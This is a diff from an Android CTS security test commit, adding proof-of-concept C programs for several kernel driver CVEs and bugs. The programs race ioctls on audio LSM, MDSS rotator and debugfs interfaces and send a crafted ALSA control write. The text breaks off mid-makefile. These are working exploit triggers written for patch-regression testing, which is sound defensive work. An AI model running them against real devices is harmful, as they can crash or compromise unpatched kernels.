Merge "Merge "Merge "Revert "DO NOT MERGE, re-apply, Adjust testAppFailAccessPrivateData to fail on non-tagged sockets"" into lollipop-mr1-cts-dev am: ba4c8a9553  -s ours" into marshmallow-cts-dev am: fecfbf9fda  -s ours" into nougat-cts-dev am: 2846f85009  -s ours am: 98c75d0dc2 am: 8b6d7007c7 am: 816d134e4e
am: 41d96a5c2b

Change-Id: Ia916d31d3e6a7fa990494fbe4a2c16a16149ff20
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index cd68c69..4aaf83d 100644
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -44,6 +44,19 @@
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
         <option name="push" value="CVE-2016-8435->/data/local/tmp/CVE-2016-8435" />
         <option name="push" value="CVE-2016-9120->/data/local/tmp/CVE-2016-9120" />
+	<option name="push" value="Bug-34328139->/data/local/tmp/Bug-34328139" />
+	<option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
+	<option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
+	<option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
+	<option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
+	<option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+	<option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+	<option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+	<option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+	<option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
+	<option name="push" value="CVE-2017-0576->/data/local/tmp/CVE-2017-0576" />
+	<option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
+        <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
new file mode 100644
index 0000000..5178058
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33452365
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
new file mode 100644
index 0000000..e6755a9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+#define THREAD_NUM	600
+#define DEV "/dev/snd/pcmC0D16c"
+
+typedef _Bool bool;
+
+enum lsm_app_id {
+    LSM_VOICE_WAKEUP_APP_ID = 1,
+    LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
+};
+
+enum lsm_detection_mode {
+    LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
+    LSM_MODE_USER_KEYWORD_DETECTION
+};
+
+enum lsm_vw_status {
+    LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
+    LSM_VOICE_WAKEUP_STATUS_DETECTED,
+    LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
+    LSM_VOICE_WAKEUP_STATUS_REJECTED
+};
+
+enum LSM_PARAM_TYPE {
+    LSM_ENDPOINT_DETECT_THRESHOLD = 0,
+    LSM_OPERATION_MODE,
+    LSM_GAIN,
+    LSM_MIN_CONFIDENCE_LEVELS,
+    LSM_REG_SND_MODEL,
+    LSM_DEREG_SND_MODEL,
+    LSM_CUSTOM_PARAMS,
+    LSM_PARAMS_MAX,
+};
+
+struct snd_lsm_ep_det_thres {
+    __u32 epd_begin;
+    __u32 epd_end;
+};
+
+struct snd_lsm_detect_mode {
+    enum lsm_detection_mode mode;
+    bool detect_failure;
+};
+
+struct snd_lsm_gain {
+    __u16 gain;
+};
+
+struct snd_lsm_sound_model_v2 {
+    __u8 __user *data;
+    __u8 *confidence_level;
+    __u32 data_size;
+    enum lsm_detection_mode detection_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct snd_lsm_session_data {
+    enum lsm_app_id app_id;
+};
+
+struct snd_lsm_event_status {
+    __u16 status;
+    __u16 payload_size;
+    __u8 payload[0];
+};
+
+struct snd_lsm_detection_params {
+    __u8 *conf_level;
+    enum lsm_detection_mode detect_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct lsm_params_info {
+    __u32 module_id;
+    __u32 param_id;
+    __u32 param_size;
+    __u8 __user *param_data;
+    enum LSM_PARAM_TYPE param_type;
+};
+
+struct snd_lsm_module_params {
+    __u8 __user *params;
+    __u32 num_params;
+    __u32 data_size;
+};
+
+struct snd_lsm_output_format_cfg {
+    __u8 format;
+    __u8 packing;
+    __u8 events;
+    __u8 mode;
+};
+
+#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
+#define SNDRV_LSM_EVENT_STATUS  _IOW('U', 0x02, struct snd_lsm_event_status)
+#define SNDRV_LSM_ABORT_EVENT   _IOW('U', 0x03, int)
+#define SNDRV_LSM_START     _IOW('U', 0x04, int)
+#define SNDRV_LSM_STOP      _IOW('U', 0x05, int)
+#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
+#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
+                    struct snd_lsm_sound_model_v2)
+#define SNDRV_LSM_LAB_CONTROL   _IOW('U', 0x08, uint32_t)
+#define SNDRV_LSM_STOP_LAB  _IO('U', 0x09)
+#define SNDRV_LSM_SET_PARAMS    _IOW('U', 0x0A, \
+                    struct snd_lsm_detection_params)
+#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
+                    struct snd_lsm_module_params)
+
+int fd;
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int attack = 0;
+
+struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
+unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
+unsigned char confidence_level_1[4] = "123";
+unsigned char confidence_level_2[20] = "12345678";
+
+static int set_affinity(int num)
+{
+    int ret = 0;
+    cpu_set_t mask;
+    CPU_ZERO(&mask);
+    CPU_SET(num, &mask);
+    ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+
+    return ret;
+}
+
+void* child_ioctl_0()
+{
+    set_affinity(1);
+    snd_model_v2_1.data = snd_data;
+    snd_model_v2_1.data_size = sizeof(snd_data);
+    snd_model_v2_1.confidence_level = confidence_level_1;
+    snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
+    snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_1.detect_failure = 1;
+
+    while(1){
+	ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
+    }
+}
+
+void* child_ioctl_1()
+{
+    set_affinity(2);
+    snd_model_v2_2.data = snd_data;
+    snd_model_v2_2.data_size = sizeof(snd_data);
+    snd_model_v2_2.confidence_level = confidence_level_2;
+    snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
+    snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_2.detect_failure = 1;
+
+    snd_params.num_confidence_levels = 20;
+    snd_params.conf_level = confidence_level_2;
+    snd_params.detect_failure = 1;
+    snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+
+    while(1){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+	ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
+    }
+}
+
+int main()
+{
+    int i, ret;
+
+    set_affinity(0);
+
+    fd = open(DEV,O_RDWR);
+    if(fd == -1){
+	return -1;
+    }
+
+    ret = ioctl(fd, SNDRV_LSM_START, 0);
+    if(ret)
+	return -1;
+
+    for(i = 0; i < 300; i = i + 2){
+	thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+	thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
+    }
+
+    i = 0;
+    attack = 1;
+    while(100){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+    }
+    attack = 0;
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
new file mode 100644
index 0000000..f1c32e1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project

+#

+# Licensed under the Apache License, Version 2.0 (the "License");

+# you may not use this file except in compliance with the License.

+# You may obtain a copy of the License at

+#

+#      http://www.apache.org/licenses/LICENSE-2.0

+#

+# Unless required by applicable law or agreed to in writing, software

+# distributed under the License is distributed on an "AS IS" BASIS,

+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+# See the License for the specific language governing permissions and

+# limitations under the License.

+

+LOCAL_PATH := $(call my-dir)

+

+include $(CLEAR_VARS)

+LOCAL_MODULE := Bug-33863407

+LOCAL_SRC_FILES := poc.c

+LOCAL_MULTILIB := both

+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32

+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64

+

+# Tag this module as a cts test artifact

+LOCAL_COMPATIBILITY_SUITE := cts

+LOCAL_CTS_TEST_PACKAGE := android.security.cts

+

+LOCAL_ARM_MODE := arm

+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement

+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef

+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes

+CFLAGS += -Iinclude -fPIE

+LOCAL_LDFLAGS += -fPIE -pie

+LDFLAGS += -rdynamic

+include $(BUILD_CTS_EXECUTABLE)

diff --git a/hostsidetests/security/securityPatch/Bug-33863407/poc.c b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
new file mode 100644
index 0000000..5b2c95e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <asm/ioctl.h>
+#include <pthread.h>
+
+#define DEBUG
+#ifdef DEBUG
+#define LOG(fmt, ...) do { \
+        printf("%s:%d: "fmt "\n", __FUNCTION__, \
+        __LINE__, ##__VA_ARGS__); \
+} while (0)
+#else
+#define LOG(fmt, ...)
+#endif
+
+char *infopath = "/sys/kernel/debug/mdp/reg";
+int fd1 = -1;
+int fd2 = -1;
+
+#define SIZE 2048
+
+void Thread1(void)
+{
+    int ret;
+    char buf[SIZE] = {0};
+    fd1 = open(infopath, O_RDWR);
+    while (1) {
+        ret = read(fd1, buf, SIZE);
+        sleep(0.1);
+    }
+    close(fd1);
+}
+
+void Thread2(void)
+{
+    int i;
+    while(1) {
+        fd2 = open(infopath, O_RDWR);
+        if(fd2 > 0)
+        {
+            close(fd2);
+            fd2 = -1;
+        }
+        sleep(0.1);
+    }
+}
+
+void trigger()
+{
+    int i, ret;
+    pthread_t tid_a;
+    pthread_t tid_b;
+
+    ret = pthread_create((pthread_t *) &tid_a, NULL, (void *) Thread1, NULL);
+    ret = pthread_create((pthread_t *) &tid_b, NULL, (void *) Thread2, NULL);
+
+    i = 200;
+    do {
+        sleep(1);
+    } while(i-- > 0);
+
+    pthread_join(tid_a, NULL);
+    pthread_join(tid_b, NULL);
+}
+
+int main()
+{
+    trigger();
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
new file mode 100644
index 0000000..cd8d541
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-34328139
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact                                                                             
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
new file mode 100644
index 0000000..c14a36b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+
+struct mult_factor {
+	uint32_t numer;
+	uint32_t denom;
+};
+
+struct mdp_rotation_buf_info {
+	uint32_t width;
+	uint32_t height;
+	uint32_t format;
+	struct mult_factor comp_ratio;
+};
+
+struct mdp_rotation_config {
+	uint32_t	version;
+	uint32_t	session_id;
+	struct mdp_rotation_buf_info	input;
+	struct mdp_rotation_buf_info	output;
+	uint32_t	frame_rate;
+	uint32_t	flags;
+	uint32_t	reserved[6];
+};
+
+#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
+
+#define MDSS_ROTATION_OPEN \
+	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
+
+#define MDSS_ROTATION_CONFIG \
+	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
+
+#define MDSS_ROTATION_CLOSE	_IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/poc.c b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
new file mode 100644
index 0000000..64337fd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <unistd.h>
+#include <string.h>
+#include "local_poc.h"
+
+
+int fd;
+struct mdp_rotation_config config;
+int id;
+int status[10];
+int cmd = 0;
+
+void *threadForConfig(void *arg)
+{
+    int index = (int) (unsigned long)arg;
+
+    status[index] = 1;
+
+    while (cmd != 1) {
+        usleep(10);
+    }
+    
+    if (cmd == -1)
+        goto failed;
+
+    usleep(5 * index);
+    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
+failed:
+    status[index] = 2;
+    return NULL;
+
+}
+
+void *threadForClose()
+{
+    status[0] = 1;
+    
+    while (cmd != 1) {
+        usleep(10);
+    }
+
+     if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ioctl(fd, MDSS_ROTATION_CLOSE, id);
+failed:
+    status[0] = 2;   
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid[5];
+    int p = 5;    
+ 
+    count = 0;
+retry:
+    if (p-- > 0){
+        fork();
+    }
+    
+    cmd = 0;
+    for (i = 0; i < 10; i++)
+        status[i] = 0;
+    
+    fd = open("/dev/mdss_rotator", O_RDONLY, 0);
+    if (fd < 0) {
+	return -1;
+    }
+
+    ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
+    if (ret < 0) {
+	goto failed;
+    } else {
+        id = config.session_id;
+    }
+    
+    ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
+    if (ret != 0) {
+        printf("thread failed! errno:%d err:%s\n",errno,strerror(errno));
+        goto failed;
+    }
+    
+    for (i = 1; i < 10; i++) {
+        ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
+        if (ret != 0) {
+            cmd = -1;
+            goto failed;
+        }
+    }
+
+    while (status[0] != 1 || status[1] != 1 || status[2] != 1
+        || status[3] != 1 || status[4] != 1 || status[5] != 1
+        || status[6] != 1 || status[7] != 1 || status[8] != 1
+        || status[9] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    usleep(10);
+    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
+
+    while (status[0] != 2 || status[1] != 2 || status[2] != 2
+        || status[3] != 2 || status[4] != 2 || status[5] != 2
+        || status[6] != 2 || status[7] != 2 || status[8] != 2
+        || status[9] != 2) {
+        usleep(50);
+    }
+    
+    	
+failed:
+    close(fd);
+    printf("[pid:%d] try %d again!\n", getpid(), ++count);
+    goto retry;
+
+    return 0;	
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
new file mode 100644
index 0000000..3ba801e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-10231
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
new file mode 100644
index 0000000..b6b82d7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/ioctl.h>
+#include <fcntl.h>
+#include <string.h>
+#include <stdlib.h>
+
+#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)
+
+typedef int __bitwise snd_ctl_elem_iface_t;
+
+struct snd_aes_iec958 {
+    unsigned char status[24];
+    unsigned char subcode[147];
+    unsigned char pad;
+    unsigned char dig_subframe[4];
+};
+
+struct snd_ctl_elem_id {
+    unsigned int numid;
+    snd_ctl_elem_iface_t iface;
+    unsigned int device;
+    unsigned int subdevice;
+    unsigned char name[44];
+    unsigned int index;
+};
+
+struct snd_ctl_elem_value {
+    struct snd_ctl_elem_id id;
+    unsigned int indirect: 1;
+    union {
+	union {
+	    long value[128];
+	    long *value_ptr;
+	} integer;
+	union {
+	    long long value[64];
+	    long long *value_ptr;
+	} integer64;
+	union {
+	    unsigned int item[128];
+	    unsigned int *item_ptr;
+	} enumerated;
+	union {
+	    unsigned char data[512];
+	    unsigned char *data_ptr;
+	} bytes;
+	struct snd_aes_iec958 iec958;
+    } value;
+    struct timespec tstamp;
+    unsigned char reserved[128-sizeof(struct timespec)];
+};
+
+int main()
+{
+    struct snd_ctl_elem_value val;
+    memset(&val, 0xff, sizeof(val));
+    val.id.numid = 0x80;
+    val.id.iface = 0x1;
+    val.id.device = 0x400;
+    val.id.subdevice = 0x7;
+    memcpy(val.id.name, "\x1d\xfe\xcb\x4c\x1f\x74\x53\xcb\x34\x3c\xcc\x05\xa4\x8e\x24\x98\x87\xe5\xc5\x58\xaf\xb1\x82\x96\x43\x67\x54\xd8\x6d\x5e\x3b\x05\x95\xbe\xfb\xe7\x2e\x7d\x08\xf8\xd6\x7e\xaa\x54", 44);
+    val.id.index = 4;
+    val.value.integer.value[0] = 0x30;
+    int fd = open("/dev/snd/controlC0", O_RDWR);
+    ioctl(fd, SNDRV_CTL_IOCTL_ELEM_WRITE, &val);
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
new file mode 100644
index 0000000..6e52fa7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0451
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact                                                                            \
+ 
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
